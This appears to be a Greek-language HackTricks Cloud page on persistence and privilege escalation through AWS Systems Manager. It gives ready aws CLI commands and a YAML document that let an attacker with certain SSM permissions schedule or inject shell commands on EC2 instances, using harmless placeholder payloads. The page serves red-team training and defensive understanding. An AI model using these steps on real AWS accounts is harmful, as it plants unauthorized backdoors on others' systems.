AWS - SSM Perssitence
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
SSM
Για περισσότερες πληροφορίες δες:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Using ssm:CreateAssociation for persistence
Ένας attacker με το permission ssm:CreateAssociation μπορεί να δημιουργήσει ένα State Manager Association για να εκτελεί αυτόματα commands σε EC2 instances που διαχειρίζονται από το SSM. Αυτά τα associations μπορούν να ρυθμιστούν ώστε να εκτελούνται σε σταθερό interval, καθιστώντας τα κατάλληλα για persistence τύπου backdoor χωρίς interactive sessions.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
Αυτή η μέθοδος persistence λειτουργεί όσο το EC2 instance διαχειρίζεται από Systems Manager, το SSM agent τρέχει, και ο attacker έχει permission να δημιουργεί associations. Δεν απαιτεί interactive sessions ή explicit ssm:SendCommand permissions. Important: η παράμετρος
--schedule-expression(π.χ.rate(30 minutes)) πρέπει να τηρεί το ελάχιστο interval των 30 minutes του AWS. Για άμεση ή one-time εκτέλεση, παράλειψε εντελώς το--schedule-expression— το association θα εκτελεστεί μία φορά μετά τη δημιουργία.
ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)
Ένας attacker με τα permissions ssm:UpdateDocument και ssm:UpdateDocumentDefaultVersion μπορεί να escalates privileges τροποποιώντας υπάρχοντα documents. Αυτό επιτρέπει επίσης persistence μέσα σε αυτό το document. Πρακτικά ο attacker θα χρειαζόταν επίσης το ssm:ListDocuments για να πάρει τα ονόματα των custom documents και, αν ο attacker θέλει να obfuscate το payload του μέσα σε ένα υπάρχον document, το ssm:GetDocument θα ήταν απαραίτητο επίσης.
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
Παρακάτω είναι ένα example document που μπορεί να χρησιμοποιηθεί για να overwrite ένα existing document. Θα θέλεις να διασφαλίσεις ότι ο τύπος του document σου ταιριάζει με τον τύπο του target document για να αποφύγεις issues με την innvocation. Το παρακάτω document για instance θα το ssm:SendCommand και ssm:CreateAssociation examples.
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)
Ένας attacker με τα permissions ssm:RegisterTaskWithMaintenanceWindow και ssm:RegisterTargetWithMaintenanceWindow μπορεί να κάνει privilege escalation καταχωρώντας πρώτα έναν νέο target σε ένα υπάρχον maintenance window και στη συνέχεια ενημερώνοντας καταχωρώντας ένα νέο task. Αυτό επιτυγχάνει execution στους υπάρχοντες targets, αλλά μπορεί να επιτρέψει σε έναν attacker να compromise compute με διαφορετικά roles με την καταχώρηση νέων targets. Αυτό επίσης επιτρέπει persistence, καθώς τα maintenance windows tasks εκτελούνται σε ένα προ-καθορισμένο interval κατά τη δημιουργία του window. Στην πράξη ο attacker θα χρειαζόταν επίσης ssm:DescribeMaintenanceWindows για να πάρει τα maintenance window IDs.
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

